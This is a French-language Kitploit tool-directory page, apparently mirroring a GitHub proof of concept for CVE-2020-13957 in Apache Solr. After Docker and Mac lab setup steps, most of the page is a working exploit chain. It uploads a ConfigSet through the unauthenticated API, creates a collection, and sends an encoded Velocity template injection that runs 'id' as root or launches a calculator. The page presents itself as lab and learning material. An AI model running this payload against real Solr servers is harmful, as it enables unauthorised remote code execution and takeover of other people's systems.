Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-13957 — Apache Solr RCE CVE-2020-13957 | Kitploit
Outils/GitHubGitHub/s-index/cve-2020-13957
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubs-index/cve-2020-13957

CVE-2020-13957

Apache Solr RCE CVE-2020-13957

Voir le dépôt
113il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Apache Solr RCE CVE-2020-13957

Démo Docker

docker-demo

Démo Mac

mac-demo

Description NVD CVE-2020-13957

NVD CVE-2020-13957

root@kitploit:~
Les versions d'Apache Solr 6.6.0 à 6.6.6, 7.0.0 à 7.7.3 et 8.0.0 à 8.6.2 empêchent la configuration de certaines fonctionnalités considérées comme dangereuses (qui pourraient être utilisées pour une exécution de code à distance) dans un ConfigSet téléversé via l'API sans authentification ni autorisation. Les contrôles en place pour empêcher de telles fonctionnalités peuvent être contournés en utilisant une combinaison d'actions UPLOAD/CREATE.

Docker

Mise en place de l'environnement PoC

1. Construire une image à partir d'un Dockerfile

root@kitploit:~
$ docker build -t cve-2020-13957 .
Télécharger l’outil

2. Exécuter /bin/bash dans un nouveau conteneur

root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash

3. Démarrer Apache Solr Cloud dans le conteneur

root@kitploit:~
$ ./solr start -e cloud -noprompt -force

Exploitation

1. Téléverser un ConfigSet

Guide Apache Solr Téléverser un ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Créer une collection

Guide Apache Solr Créer une collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Exécuter la commande id

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

Sortie

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

Mise en place de l'environnement PoC

1. Télécharger Apache Solr

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. Décompresser

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. Démarrer Apache Solr Cloud

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

Exploitation

1. Téléverser un ConfigSet

Guide Apache Solr Téléverser un ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Créer une collection

Guide Apache Solr Créer une collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Ouvrir la calculatrice

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

Références

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957